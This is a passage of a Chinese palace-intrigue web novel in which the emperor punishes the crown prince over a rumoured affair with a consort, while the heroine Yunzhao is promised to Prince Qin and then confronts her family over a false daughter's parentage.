顾影躬身一礼,将碧云寺中事绘声绘色道来。
听到凤影相随时,皇帝忍不住笑骂:“这姜家次女,倒是好细巧的手段。”
待说到南华郡主险些伤人,皇帝已蹙起眉头。
直至听闻太子当众许诺欲娶南华郡主,皇帝勃然震怒,手中钓竿重重一顿:“安王在西北连战连捷,正需朝廷全力支持,用得着他来安抚!”
萧启似笑非笑道:“皇弟忧心边关将士,甘愿以身相许,为国娶妃,陛下何不成全了他这片赤诚?”
皇帝气得抄起案上青玉镇纸就要砸去,临了却换作一枚红荔,笑骂道:“他混账,你也跟着说风凉话!是要气死朕不成?”
沉吟片刻,皇帝看向萧启,语气缓和几分:“朕记得,从前倩波那孩子最是心悦于你。如今更是痴迷到连桃花煞这等手段都用上了,足可见用情至深。不如你看在安王的面子上……”
萧启漫不经心地掸了掸衣袖,抬眸一瞥:“二叔,侄儿的府邸,可不是什么垃圾都收。”
这句久违的“二叔”,叫得皇帝心头一暖。
皇帝眼底掠过一丝笑意,面上却佯怒:“那就许她个侧妃之位。横竖娶回家后,碰不碰随你。安王与你向来投契,若能结下这桩姻缘……”
“平白让我矮了安王一辈,我不乐意。”萧启截断话头,凤眸微挑,“我求您赐个婚,没要求买一送一。您别擅作主张。”
说着他话锋一转:"陛下,宁远世子这会儿也该到了。您不是好奇桃花煞一案?不如传他进来细说。"
"也罢。"皇帝颔首,对内侍吩咐道,"去看看赵家那小子来了没有。若是到了,让他直接把姜云昭一并带过来。"
太监领命而去,不多时却神色慌张地返回:“陛下,说是姜小姐在路上耽搁了……”
“何事耽搁?”皇帝并不太当回事,“车驾坏了?”
那小太监嗫嚅片刻,道:“说是贵妃娘娘回鸾的路上,脚下滑了一跤,且……”
“且如何?!”皇帝脸色已冷了下来。
“且......且当众跌进了太子殿下怀中。”小太监声音越来越低。
“放肆!”皇帝猛地站起,袖袍带翻了案上
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茶盏,“人在何处?”
“把那孽障给朕提来!”他快步朝外走去,怒声如雷霆炸响:“朕的御杖呢?看朕今日不打死这个不知纲常伦理的东西!”
身后,萧启不紧不慢地起身,恰到好处地落后数步,与盛怒的皇帝保持着一段得体的距离。
皇帝素来多疑,又极重颜面。
这等宫闱丑闻本就令他难堪,方才自己又一径添柴加火。
皇帝这满腔怒火,合该尽数倾泻在太子身上。
*
碧云寺外。
云昭正欲登车,忽听不远处传来一声惊呼。
就见贵妃步下台阶时,莲步轻移间忽失了平衡。
原本她左右都有侍女搀扶,可也不知是她太过慌乱,还是别的什么缘故,竟惊叫了声,纤腰一扭,径直朝走在前方的太子方向跌去。
太子闻声回首,恰将软玉温香接入怀中。
他动作极快地撤手后退,面上掠过一丝不易察觉的愠怒,厉声斥道:“都是怎么当的差!连贵妃都搀扶不稳?”
贵妃惊魂未定地抚着心口,雪腮泛红,一双含情目却似有若无地黏在太子面上。
云昭冷眼扫过众人,只见多数贵妇皆掩唇低语,目光在贵妃与太子之间来回逡巡,显然都被这桩突如其来的“意外”惊得不轻。
唯有距离贵妃颇近的梅柔卿脸色煞白,一脸被雷劈过的表情,双眼直勾勾地看着贵妃。
早先一步下了石阶的柔妃道:“亏了太子殿下身手敏捷,否则贵妃姐姐这一跤怕是摔得不轻。”
她纤指轻抚胸口,黛眉微蹙,一副心有余悸的模样。
贵妃恍然回神,迅速垂下眼帘,将眸中神色尽数掩去。
柔妃忽又转身,目光与云昭在空中短暂交汇,随即柔声道:“云昭小姐,本宫忽然有些头晕,许是方才受了惊吓,气血有些不稳。可否劳你为本宫瞧瞧?”
云昭会意,从容应道:“娘娘若不嫌弃,民女可口述几个调理气血的方子。待娘娘回宫后,命人按方调配便是。”
说话间,她已随着柔妃款步走向那辆鎏金绘彩的华盖宫车。锦帘垂落的刹那,将外界所有窥探的目光彻底隔绝。
马车徐徐前行,辘辘轮声掩去了车内低语。
车厢内,柔妃敛去方才的娇弱之态,玉容凝霜:“云昭,今日进宫,若贵妃出现任何异样,不论情形如何,请你务必要替她保胎!”
云昭眸色沉静:“我以为娘娘深恨贵妃,且巴不得她与太子的丑事公之于众。”
“我确实恨不得她死!”柔妃朱唇噙着一抹淬毒的冷笑,“但就这么轻易暴露,未免太便宜她了。
我要她日日看着腹中孽种一点点长大,要她与太子的丑事铁证如山,更要让陛下亲眼看清——
从前他捧在心尖上的人,如何背着他与他的亲生儿子乱、伦、交、媾!”
这刻骨铭心的恨意,听得云昭心头微惊。
她沉默片刻,忽而道:“我一直好奇,娘娘是如何得知贵妃与太子这桩秘事的……”
柔妃忽绽娇甜笑靥,语声却寒彻骨髓:
“因为陛下亲手喂她服了整整十年的断嗣散。从头至尾,陛下对她只有恩宠,却从未打算让她诞下龙嗣。”
第79章 用马蹄子碾死这个装货!
车马行至丹凤门前,朱漆宫门巍峨矗立,眼看便要踏入大内禁苑,外头却骤然响起一阵骚动。
只听太子身边的女官拂云扬声急唤:“贵妃娘娘突发急症,神智昏乱,还请姜大小姐速速前去诊治!”
云昭侧眸看向身侧的柔妃,却见她半张脸隐在车厢的阴影里,唇角噙着一丝若有若无的冷笑,显然对此番变故毫不意外。
云昭端坐车中,声线平稳无波:“随行御医皆在左右。我因医术不精,方才已遭太子殿下斥责,此刻正在躬身自省,不便前往。”
柔妃方才那句“进宫之后”的请托,分明是划下了道儿——
唯有入了宫门,在陛下眼前,她云昭方可出手。
眼下这丹凤门还未过,火候还没到呢!
车窗外的拂云被这话噎得一时语塞。
不远处又传来太子焦灼的怒斥:“贵妃娘娘若有个好歹,孤定要父皇摘了你们的脑袋!”
其间夹杂着贵妃断断续续的哀泣:“阿鉴,我的肚子……我的孩儿……”
拂云眼见云昭端坐车内,岿然不动,柔妃也默不作声,只得悻悻松开帘幕,快步折返。
车驾一时阻滞难行。
柔妃只得令人将马车赶到靠墙壁的地方,继续等待。
柔妃命人将马车驱至宫墙根下暂避等候。她唤来贴身侍女,低声嘱咐了几句,末了又加重语气:“可记清楚该如何向常公公回话了?莫让陛下等得心急。”
那侍女郑重点头:“奴婢明白。”
待侍女退下,柔妃方转向云昭,压低声音:“三个月前春狩,陛下率众臣往西山。我的人曾亲眼瞧见,贵妃于深夜独自溜出营帐,钻进了停泊在镜湖边上的一艘画舫。”
她语声微顿,带着一丝冰冷的嘲讽:“次日天光未亮,太子便从那船舱里钻了出来。”
云昭低声道:“若贵妃当真服了十年的绝嗣散,纵使换了更为年轻的……也绝无可能结胎。”
柔妃蹙眉:“太子身边近来有个年轻道士,颇通些歪门邪术。你说会不会有什么诡秘法子,能强行……”
“年轻道士……”云昭不由得想起几日前在寺外茶寮,太子腰间墨玉的那道窥探视线。
“即便有此邪术,”云昭眉头紧锁,“短期内强行催孕,胎儿也必遭反噬,恐难健全。”
柔妃神色一凝:“你的意思是,这胎儿根本保不住?”
云昭颔首:“半途夭折,或是产下畸胎,都有可能。”
话音方落,外头喧嚣渐息。
车辕微震,侍卫隔帘禀报:“娘娘,前方道路通了,车驾可行。”
马车再度缓缓前行,终是驶入了那九重宫阙。
甫一踏入殿阁,便见贵妃被人搀扶着,面色苍白如纸。她怨毒地瞪了云昭一眼,随即扑进殿中,带着哭腔高呼:“陛下!陛下您要为臣妾做主啊……”
柔妃紧随其后,声音比平日更娇柔百倍:“陛下万福!今日可真多亏了云姑娘……”
云昭:“……”
演技不好的人,不配在这宫里活是吧?
太子经过云昭身边时,脚步微顿,冷声道:“云昭,但愿待会儿面圣时,你还能保持这份傲气。孤倒要看看,你能强硬到几时!”
云昭垂眸,心底无声冷笑。
这男人的心胸,果真狭隘得可怜。
想起前世太子的下场,她忽然觉得,萧启当初还是太过仁慈。
当时他怎么就没直接策马闯入,用马蹄子碾死这个装货!
*
云昭方欲举步跨过那朱红门槛,殿内骤然炸开一道凌厉鞭响!
紧接着,便是御杖击肉的沉闷声响,听得人齿根发酸。
她抬眸,正对上常公公那张永远含笑的脸。
这位老太监脚步轻捷地上前,不着痕迹地引她转向廊下:
“姜小姐请留步。陛下特意吩咐御膳房备了雪顶含翠,并四样时新茶点,都是女儿家爱的口味。”
云昭从袖中取出一只并无任何纹样的缎面荷包,动作轻巧地递过去:“有劳公公提点。小小心意,请您喝茶。”
她稍顿,声音压低些许,“里头还有一道安眠符,是我用辰时采集的朝露混合朱砂所绘。公公入睡时置于枕下,或可助您好眠。”
入宫前柔妃曾提点,这位常公公侍奉两朝君王,屹立三十年不倒,如今别无他好,唯重养生,偏又为失眠所苦。
云昭便取出随身的朱砂、黄纸,同柔妃借来毛笔,在马车里绘就此符。
常公公原本舒展的眉宇微微一动,那双看尽宫廷沉浮的眼里,浮起一丝真切的笑意。
他伸手接过,指尖在荷包上轻轻一按,感受到内里黄符的独特质感:“云昭小姐有心了。老奴近来确实夜难安寝,此物正合所需。”
他侧身引路时,袖袍带起一缕檀香,“太后此刻正在前头不远的花园散步,姑娘在偏殿稍候最为妥当。”
云昭心领神会,这一包银钱加一道灵符,送得实在值得——
若真在花园撞见太后,今日怕是难以善了。
二人说话间,殿内传来皇帝压抑的怒喝:虽听不真切,那字字寒意却穿透宫墙。紧接着是重物倒地的闷响,夹杂着着太子的喊冤:“父皇!儿臣冤枉啊!”
云昭敛眉垂眸,恍若未闻,随着常公公往偏殿行去。
偏殿内,紫檀小几上陈设雅致。一盏雨过天青瓷杯盛着清碧茶汤,四色茶点精巧诱人:玫瑰雪花酥奶香浓郁,琥珀核桃糕晶莹剔透,蜜渍金桔泛着温润光泽,糖霜松仁洁白如雪。
云昭拈起一块雪花酥,指尖灵力微探,随即轻咬一口。
浓郁的奶香在唇齿间化开,与玫瑰的芬芳交织,伴随着隔壁殿内隐约传来的鞭挞声与哀鸣——
云昭觉着,今日这顿茶点,用着格外香甜可口。
不多时,赵悉步履匆匆而入。见到云昭独坐品茗,他耳根不由泛起薄红,忙拱手一礼:“姜小姐。”
云昭搁下茶盏,微微颔首。
赵悉行至近前,压低嗓音道:“家嫂说,姜小姐已应允过府一看,赵某在此先行谢过。”
“赵大人客气。”云昭淡声道,“且待我能从此处安然离开再说罢。”
赵悉面露诧异:“姜小姐何出此言?陛下今日宣你我前来,正是为桃花咒一案。此案能破,八成功劳在您,陛下定有重赏。”
云昭眉梢微挑,倒是未曾料到皇帝对此案如此重视。
赵悉迟疑片刻,眼底闪过一抹狡黠:“姜小姐可知今日京中盛传何事?”
他清咳一声,“如今坊间有两则传言最为火热。其一已被编成童谣,小儿皆传唱:‘金丝雀,困朱门;真凤凰,耀九宸。
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雀儿啾啾啼不住,凤凰振翅动乾坤’。”
云昭微讶:“消息传得这般快?”
“本府治下,京兆百姓,安居乐业,闲来最爱议论这些趣闻。”赵悉说得一本正经,眼角却藏着笑意。
云昭心下了然;这童谣将闻空大师玄奥的批命改得如此直白,必定有人从中推波助澜。
“还有一事。”赵悉声线又压低几分,“听闻方才回宫途中,贵妃接连两次跌入太子怀中……”
云昭眸光一凛,终于品出不同寻常的意味。
柔妃还没有这样大的本事,这背后,必有萧启的手笔。
“秦王殿下回京了?”
“今日刚回,此刻就在宫中。”
说起这些市井流言,赵悉顿时眉飞色舞。
没办法,家中女眷太多,平日不是推牌九便是论长短。他前几年又出任京兆府尹,每日接到的报案更是千奇百怪——
某侯夫人推门而入抓奸在床,一时激愤竟用剪子误伤了侯爷的要紧处;
某县主与戏子私奔前夜,竟将府中珍宝尽数典当,其中还有一件是御赐之物;
某位清流文官在衙门大扫荡时,被人从南风馆头牌的床底下揪出,据说当时脖子上还挂着锁头,似乎特别钟爱被缚受虐的戏码;
他这个父母官当的,简直操碎了心!久而久之,便练就了对市井流言的敏锐直觉。
“如今满城皆在议论。”赵悉摇头叹息,可那眉梢眼角的幸灾乐祸却掩不住,“我入宫前,流言已传成贵妃腹中骨肉乃太子……”
世人皆爱八卦,此乃天性。
但什么样的八卦能传得特别快、特别广?
正是那种听起来荒诞不经、离奇至极的八卦!
“虽说此事听着荒诞,但太子今日这番责罚,怕是逃不脱了。”
云昭默然不语,心下冷笑:这八卦听着离谱,却是千真万确。
柔妃这一招真是蛇打七寸:皇帝震怒,太子受责,而依贵妃的心性……此刻怕是已吓得魂飞魄散。
此时的贵妃确实惊惧交加。
一旁的太子匍匐在地,背上纵横交错的鞭痕与御杖留下的青紫淤伤触目惊心。
锦袍破损处露出皮开肉绽的伤口,鲜血浸透了衣料。
他每喘一口气都带着痛苦的颤音,却仍强撑着辩解:“父皇明鉴……儿臣与贵妃娘娘确是清白的……”
而贵妃更是狼狈不堪,发髻散乱,珠钗斜坠,精心描绘的妆容被泪水染花。
她双手死死护住小腹,跪在地上瑟瑟发抖,原本华美的宫装沾满了灰尘,哪里还有平日半分雍容华贵:“陛下,臣妾、臣妾腹中不适……”
“陛下!”柔妃适时惊呼,“贵妃姐姐脸色怎的这般难看?莫非是动了胎气?”
皇帝面沉如水,目光如刀锋般扫过贵妃惨白的脸,字字如冰:“如今外头传得不堪入耳!这孩子……当真是朕的骨血吗?!”
孟贵妃浑身一颤,不知是疼的还是哭的,已然面无人色:“陛下,臣妾百口莫辩!”
皇帝冷笑了声:“既如此,也不必再辩了!来人——
剥去贵妃冠服,收走金印,即刻幽禁披香殿,非诏不得外出!”
刚被常公公领着走到门口的云昭听到这句,不由挑了挑眉。
不会吧,她还没发力,贵妃就这么倒台了?
第80章 大胆狂徒!
云昭缓步走入殿内时,正对上孟氏的视线——
那张曾经明艳动人的脸上此刻血色尽失,双目空洞无神,仿佛一具被抽去灵魂的华丽木偶。
趴伏在地的太子强撑着支起身子,叩首时背上伤口崩裂,在锦袍上洇开更深色的血痕:“父皇息怒,此事……确有内情,容儿臣细禀。”
皇帝面色阴沉,显然不愿多听。
“陛下,快消消气,仔细龙体。”柔妃适时递上一盏温茶,嗓音柔得能滴出水来。
皇帝竟真的接过茶盏啜饮一口。
他抬起眼,目光落在云昭身上,朝她招了招手:“你,过来。”语气不容置疑,“替她诊脉。”
云昭依言上前,宫人早已在孟氏腕上垫好一方素白丝帕。
指尖轻触的刹那,她能清晰地感受到对方浑身战栗,齿关不受控制地轻叩,发出细小的声响。
即便不抬眼,那道淬毒般的怨恨目光也如有实质地刺在她身上。
云昭暗忖:难道裙子是我让你脱的?床是别人逼你爬的?
闹到这步田地,不去怪那引你入歧途的男人,反倒恨起我这个医者来了?难道会医术也是原罪不成?
“如何?”皇帝沉声发问。
云昭收回手,垂眸回话:“贵妃……孟嫔娘娘心跳稍快,但脉象强健有力,龙胎应当无碍。”
她略作停顿,又道,“为稳妥起见,还是请太医院根据娘娘平日的脉案,开具适合她体质的安胎方子更为妥当。”
皇帝的目光在云昭脸上细细打量:“你方才不是才给柔妃开了几道药膳?怎么到了她这儿,反倒推给太医院了?”
云昭神色未变,语气平静:“陛下可曾听闻前几日,柔妃娘娘因误食燕窝而见红的事?民女当时……”
“什么?!”皇帝脸色骤变,眼底闪过一丝惊慌。
他先看向柔妃,继而扫视殿内众人:“此事为何无人禀报朕?”
柔妃连忙柔声解释:“陛下莫急,不是什么大事,只是见了些许红。当时姜小姐就为臣妾诊过了,龙胎安好无恙。”
皇帝眉头紧皱:“误食燕窝?朕记得你从前最不喜燕窝,总说有一股子口水味。”说到此处,他唇角不自觉微微扬起,眼神柔和了几分。
云昭将这一幕尽收眼底,心下微诧:都说柔妃是皇帝新宠,可瞧这眼神,倒像是动了真情?
柔妃羞涩垂眸,轻抚小腹:“臣妾也不知怎么了,那日瞧见孟嫔姐姐食用金丝黄燕,忽然就馋得很。”她语带娇憨,“许是龙胎想吃呢。说不定是位小公主,从小就知道爱美。”
皇帝神色愈发柔和:“是公主也好,像你。”
他沉吟片刻,目光渐冷,“金丝黄燕窝……”视线转向阶下伤痕累累的太子,“朕记得,孟嫔宫里的金丝黄燕,是你进献的。”
太子慌忙叩首:“正是。也正因此事,孟嫔娘娘这几日对儿臣颇为疏远。”
他抬起头,脸上写满惶恐,“父皇明鉴!儿臣绝无陷害孟嫔娘娘之心,更无私情!今日之事,绝不是众人眼中看到的那样,求父皇明察啊!”
皇帝凝视太子片刻,眼底情绪晦暗难明。
今日听闻太子居然敢擅作主张与安王府联姻,皇帝早就心头恼怒。
他本就有意敲打太子,更不喜孟氏吃了十年绝嗣散居然还会怀孕,此刻虽知此事或有隐情,却仍冷声道:“回你的东宫闭门思过,没有朕的旨意,不得踏出宫门半步!”
随后,又挥手命令宫人,“将孟氏送回披香殿,太医院派人随行诊视。”
殿内顿时清净下来。
皇帝并未让柔妃回避,而是直视云昭:“朕听闻,是你识破了南华郡主身上的桃花煞。
你很是机敏,当众道破其中利害,引得京中其他女眷交出桃花符、同心符两样邪咒,将一场风波消弭于无形。”
云昭垂眸恭谨回应:“闻空大师比民女更早看出端倪。民女才疏学浅,性子又急,这才当场说了出来。”
她始终记得传旨太监的话——
皇帝不愿让人知道南华郡主是因咒术发疯,只说让太医院好生诊治。
这意味着,南华郡主注定要一直“休养”下去。即便桃花煞一事哪日真有转机,也无人能够出手了。
安王妃将太子视作危难中的浮木,殊不知,正是太子的贪欲引起了天子忌惮!
而南华郡主,注定只能成为这场**博弈的牺牲品。
安王妃的自作聪明,反倒将最疼爱的女儿送上了绝路。
皇帝端详云昭良久,忽然点评道:“脾气是大了点,也不爱笑。”
他侧眸看向一旁正在吃零嘴儿的柔妃,“爱妃觉得呢?”
柔妃睁大一双明眸:“嫔妾觉得姜小姐人很好,性子爽利,有一说一。自入宫以来,姜小姐还是嫔妾交的第一个朋友呢。”
皇帝不由失笑,神色也缓和许多。
他在御座坐下,对云昭正色道:“桃花煞一案,朕已命宁远世子继续追查。若有线索,你需全力相助,不得藏私。”
此事正合云昭心意。
无论是为萧启解咒,还是查明邪师来历,都是她接下来本就要做的事。
她朝皇帝行了一礼:“民女谨遵陛下旨意。”
皇帝话锋一转,语气随意却不容忽视:“朕有意为你和秦王赐婚。姜云昭,你意下如何?”
云昭蓦然抬首,难掩惊诧。
一旁的赵悉更是直接失声叫道:“啊——?”
皇帝瞥他一眼:“嘴张得能塞进鸡蛋了。怎么,这事很让你吃惊?”
赵悉哭丧着脸:“没、没什么。”
他那还未说出口就已夭折的相思!
幸好情根未深,及时抽身还来得及。
皇帝见云昭迟迟不语,眼底兴味更浓:“你不愿意?”
云昭沉默片刻,方谨慎回道:“臣女多谢陛下与秦王殿下厚爱。只是此事……臣女确实未曾想过。”
皇帝摆了摆手:“那便回去好生想一想。去吧。”
他转头吩咐常公公,“你亲自送姜小姐回府。另赐玉如意一对,东海明珠十斛,云锦十匹,以嘉奖她协助京兆府破案之功。”
云昭躬身领命,缓步退出大殿。
*
常公公随行在侧,笑容满面:“杂家在此,先恭贺姜小姐了。”
云昭神色平静:“陛下尚未下旨,此事未必成真……”
常公公诧异地侧目,见云昭眉宇间确是真切的困惑,不由失笑:“哎呦,我的大小姐!陛下若是无意,根本不会开这个口!
方才让您回
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去想想,可不是真让您考虑。”他压低声音,“那是让您回去好生准备,等着接旨呢!”
云昭:“……多谢公公解惑。”
或许是因那道安眠符,又或许是因云昭即将成为秦王妃,常公公这一路格外健谈,细细讲解了许多宫中规矩。
云昭认真聆听,一一记在心里。
临下马车时,她特意多说了一句:“公公,那道安眠符若用着好,一月后可告知秦王,他会替我转交新的给您。”
常公公笑逐颜开:“好,多谢姜小姐盛情。”
说话间,车驾已行至姜府朱漆大门前。
只见府门紧闭,门前冷落,连个应门的小厮都未见踪影,唯有两只石狮默然矗立,平添几分肃杀。
常公公正自蹙眉诧异,角门处忽传来一声凄厉尖叫:
“姜云昭——!你这毒妇还敢回来!还我娘亲命来!”
云昭倏然转身,只见姜绾宁自角门内疯魔般冲出,鬓发散乱,双目赤红如血,手中一柄寒光凛冽的**直刺而来!
云昭指尖已触到腰间银鞭,却见身侧常公公袍袖无风自动,身形如鬼魅般倏忽上前,一记凌厉腿风扫出——
“砰”的一声闷响!
姜绾宁如断线风筝般倒飞出去,后背重重撞上廊柱,当即喷出一口鲜血,手中**"哐当"落地。
“大胆狂徒!”常公公尖细的嗓音此刻淬着冰碴,手中拂尘一指,“天子脚下,尚书府门前,竟敢持械行凶!姜尚书治家如此,杂家今日可算开了眼!”
他环视四周,扬声道:“尚书府的人都死绝了不成?由得这疯妇在此撒野?!”
姜绾宁挣扎欲起,却在抬眼瞬间猛地僵住——
常公公一袭紫衫,腰间玉带悬着内侍省金符,分明是正三品大总管的服制!
她虽未进过宫,却也听母亲说过,能穿这等服色的,皆是御前得脸的大珰!
这时一个满脸泪痕的少年跟着冲出角门,约莫十岁出头,一双与姜绾宁极为相似的眼睛死死瞪着云昭,满是刻骨恨意——正是二房此前一直在白鹿书院读书的姜珏。
常公公气得脸色发青,厉声吩咐身后侍卫:“把这俩不知死活的东西给杂家拦住了!再去几个人,给杂家砸门!”
侍卫领命上前,铜环重击朱门之声震耳欲聋。
不过片刻,大门“吱呀”洞开。
姜世安领着众家丁疾步而出,目光掠过云昭时尽是阴鸷,却在触及常公公衣饰的刹那骤然亮起,忙不迭躬身行礼:
“不知常公公大驾光临,实在有失远迎,万望公公海涵!”
他姿态谦卑至极,转向云昭时却瞬间变脸,厉声呵斥:“孽障!当众顶撞安王妃,对南华郡主见死不救,更在碧云寺开罪太子殿下!我姜家世代清誉,都要毁在你这个不孝女手里!”
他越说越激动,额角青筋暴起:“安王府何等门第,太子殿下何等尊贵!你却不知天高地厚,屡屡冒犯,如今被陛下召进宫去训斥,竟还有脸回来?还不跪下认罪!”
常公公被这番劈头盖脸的斥骂说得一愣,半晌才缓缓回神。
他细长的眼睛微微眯起,声音轻得像一片羽毛,却让在场所有人都脊背发凉:
“罪人?谁说姜小姐有罪?”
第81章 心儿是我与梅氏所出
早在姜世安当众叱骂云昭时,路上的行人听到动静,便渐渐围拢过来。不多时已是里三层外三层,将姜府门前围得水泄不通。
“这姜大小姐怕是要倒大霉了!瞧着像是被常公公给押回府上的!”
“倒是少见姜大人如此疾言厉色的时候!女儿家被亲生父亲这样当众羞辱,哪还有脸活啊!”
“这你就有所不知了吧!听说在京兆府被秦王殿下当众申饬,说是陛下让他闭门思过。这是憋着一肚子火呢!”
常公公细长的眼睛微微眯起,声音轻得像一片羽毛:“罪人?谁说姜小姐有罪?”
可笑姜府满门,竟无一人听出其话中真意,反倒个个面露得色。
姜珩清俊的脸上满是倨傲,食指隔空点着云昭道:
“自你回府,对祖母不敬、对父亲无礼、对兄弟姐妹,更是冷眼以待!一个在民间养大的低贱女子,粗鄙无礼,小肚鸡肠,哪里配进我姜家高门!”
老夫人见围过来的人越来越多,且都对着云昭指指点点,愈发来了精神,拄着拐杖扯高嗓门骂道:
“早知今日,当初就不该认回你这贱种!整日里惹是生非,无故拖累父亲兄长,还险些连累了温顺乖巧的心儿!”
姜绾心眼圈泛红,看似委屈,眼底却难掩得意与猖狂。姜珩和老夫人这番责骂,显然句句说到了她的心坎上。
她微微侧身,恰到好处地露出受伤敷药的那半边脸,更显得楚楚可怜。
梅柔卿轻抚着老夫人的手臂,柔声劝道:“老夫人消消气。昭儿今日被太子当众申饬,又进宫领受陛下责罚,她年纪小,想必已然知错了。”
姜世安捋了捋须,做出一副痛心疾首的模样:“云昭,你不要觉着为父让你当众下跪,是要羞辱于你。这都是为了扭转你的心性。
圣人有云:‘教不严,父之过’。只要你迷途知返,一切都还来得及!”
常公公原本还想说什么,但见这一大家子,一个赛一个的心急肤浅,又见云昭静静站在一旁,脸上不见半点愠色,索性也闭紧嘴巴,且看这场好戏如何收场。
就在这时,苏氏步履匆匆地穿过人群,对四周各色目光视若无睹,径直走到云昭面前。
她先是安抚地握住女儿的手,随即转身,扬手就给了姜绾心一记响亮的耳光:“不知感恩的东西,养不熟的白眼狼!”
这一巴掌清脆响亮,把所有人都打懵了。
梅柔卿脸色骤变,下意识就要上前,却又强自忍住,只死死攥紧了手中的帕子。
从前苏氏性子最是温柔,说一句面捏的也不为过,不想这次苏醒之后,竟变得如此泼辣蛮横!
可母亲教训女儿,这在任何地方都是天经地义的道理。姜绾心若是敢反驳一句,那就是大不孝!
至于她,一个连名分都没有的、借住府中的“客人”,此刻更是连替姜绾心说句话的立场都没有。
不等姜世安或其他人有任何反应,苏氏又反手给了姜珩一个耳光!
这一巴掌力道之大,直接打得姜珩一个趔趄,险些摔倒在地。他捂着瞬间红肿的脸颊,难以置信地瞪大眼睛:“母亲?!”
姜珩自幼被娇宠着长大,又是新科状元郎,自诩风头无两,何曾受过这等羞辱?更何况还是当着一众百姓的面!
苏氏唾了他一声:“糊涂东西!亲疏不分!谁才是你亲妹妹,你心里没数吗?”
此言一出,满场哗然。
一直沉默看戏的常公公都听得愣住,不由嘶了一声。
今日在宫中,他亲眼瞧着这姜家长女进退有度、宠辱不惊,面对圣颜尚且从容不迫;亦知晓此前陛下曾给尚书夫人苏氏赐下三品淑人的恩赏,原想着这姜家的家风应当错不了。
谁承想,姜世安这礼部尚书养了整整十六年的嫡女,太后近来最为宠爱的“小福星”,居然不是姜家亲生的?
围观的百姓更是瞬间炸开了锅:
“什么,姜家这个二女儿不是亲生的?”
“当日公主府认亲,不是说是一对双胞胎吗?这事我可记得清清楚楚!我家婆娘还羡慕得不得了呢!”
“你们细看,姜大小姐确实像极了尚书夫人,那眉眼、那气度,简直是一个模子刻出来的!二小姐却谁也不像!”
“嘶——!该不会,这姜二小姐,其实是个假千金?”
众人本就对前些日子京兆府云昭与姜家众人对簿公堂的事情印象深刻。苏氏此言,更像是坐实了人们心中某种隐秘的猜测!
姜绾心万万没想到,今日才得了闻空大师的批命、太子的青眼,又眼见着将云昭被当众带走。她姜绾心扬眉吐气的好日子终于来了!
苏氏!她怎敢当众说破自己的身世!
她莫不是疯了?!
姜绾心泪盈于睫,楚楚可怜地望向姜世安:“爹爹……”
姜世安更是脸色铁青:“夫人……”
苏氏后退一步,语气讥诮:“怎么,又要让奴仆把我绑起来!告诉众人说我得了失心疯?”
此时的苏氏神色沉静,比起强压怒火的姜世安、羞愤的姜珩、拄着拐杖脸色红涨的老夫人,还有难掩慌乱的梅柔卿,一以及一旁行迹疯魔的姜绾宁姐弟俩……
她除了声音比平时大了些,态度强硬得让人震惊外,看起来完全不像个疯子,反倒像是这府里唯一的明白人。
她转向已在爆发边缘的姜世安,声泪俱下:“夫君,自从当日昭儿丢失,你抱回一个女婴,告诉我这就是我的女儿……可我知道她不是!
夫君原是好心,想要以此安抚我丧女之痛,可妾身做不到啊!我日日夜夜,思念的都是我的亲生骨肉啊!”
苏氏这番话说得情真意切,引动了在场不少妇人的慈母心肠,有人已经开始抹眼泪。
姜世安脸色变幻,却没有如之前那般,对苏氏说出任何绝情的话。
云昭在一旁看着,心里不禁赞叹母亲这是开窍了:和姜家这些人在一起,就得比谁更不要脸。
像姜世安这种自小贫穷,后来发迹的人,如今又关拜礼部尚书,
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素来是极重脸面的。
苏氏当众说破姜绾心的身世,确实让他恼怒;可她方才一顿哭诉,口口声声信任夫君、一片慈母心肠,又让他发作不得。
这火候,当真是拿捏得刚刚好!
若姜世安此时疾言厉色,岂非显得他太过薄情?更会暴露姜绾心的身世,其实是有问题的。
自苏氏得了诰命,姜世安一心想在众人面前与她扮演一对恩爱夫妻,所以这个时候,不论他心里有多急多气,都发作不得。
苏氏挽起云昭的手,眼底泛起水光,一副强作坚韧的模样:
“若夫君觉得我女儿给姜家丢脸,不如休了我!反正婆母与夫君都已同意纳梅氏为妾,往后就让柔卿妹妹伺候你们。我带着昭儿走!”
云昭轻声道:“母亲,不必如此。”
姜世安如梦初醒,忙道:“夫人误会了!其实心儿她......也是咱们的女儿。”
苏氏拭去眼泪:“夫君这话,我听不懂。”
老夫人气得跺脚:“苏氏,你莫要不识好歹!”
苏氏苦笑:“是,我确实不识好歹。这些年我卧病在床,都是柔卿妹妹在家替我侍奉婆母、安抚夫君,养育我的长子。如今这个家,已然不需要我们母女了。”
姜世安眸光闪烁,似是在挣扎……他眼风瞥见常公公一脸似笑非笑的神情,心头咯噔一下,终是做了决断。
他咬着牙,躬身朝苏氏深深一拜:“夫人,一切都是为夫的错。绾心她其实并非我从外人那儿抱来,实则是我与梅氏的女儿……”
这话犹如晴天霹雳,在场当即有人高声道:“姜二小姐是私生女?!”
更多的人被这则新鲜出炉的八卦咋晕了头,窃窃私语声此起彼伏:
“也就是说,这尚书大人早就跟客居府上的梅氏搞在一块了?”
“何止!说不定是先搞在一块,之后才接进府中……”
“惨啊!真惨!苏氏这正头夫人做得实在太可怜了!”
人群之中,某个头戴斗笠的男子遥遥望向苏氏的眸光幽深难辨,随即,又凛然睇向姜世安。
石阶之上的苏氏如遭雷击,下意识地**一步,站在原地摇摇欲坠:“你、你们……”
姜世安硬着头皮,继续厚颜无耻地说道:“夫人,绾心她自小就记在你的名下,自然是你的女儿。
至于她的生母……前日你我商定,过几日就纳梅氏为妾。
往后,心儿仍是你的女儿,梅氏也会安分守己,绝不敢越过你去。”
一旁的姜绾心脸色煞白,牙齿紧紧咬着唇,仿佛随时都会晕厥过去。
梅柔卿更是死死瞪着姜世安,那副眼神像是恨不得当场咬穿他的喉咙!
然而比姜绾心和梅柔卿更为震惊的,当属僵在原地、惊愕得说不出话的姜珩。
心儿?她竟是自己的亲妹妹?
在一片死寂中,云昭缓缓抬眸,唇边勾起一抹冰冷的弧度:
“既然如此,那我倒是要问问父亲——大哥姜珩,莫非也是梅氏所出?”
第82章 若姜珩也是假的……
苏氏与云昭交握的手,忽而重重一颤。
“荒谬!”姜世安当即厉声驳斥:“珩儿乃我与你母亲明媒正娶所出的嫡长子,此事千真万确,岂容你在此信口雌黄!”
他面色铁青,额角青筋暴起,仿佛受到了天大的侮辱。
云昭原本说这话,也只是存心想诈一诈姜世安与梅氏。
可令她惊讶的是,姜世安的反应比她预想的要激动得多,反倒是梅氏眼睫轻垂,神色平静无波,全然不似被戳穿隐秘的模样。
云昭不由暗忖:难道她猜错了?
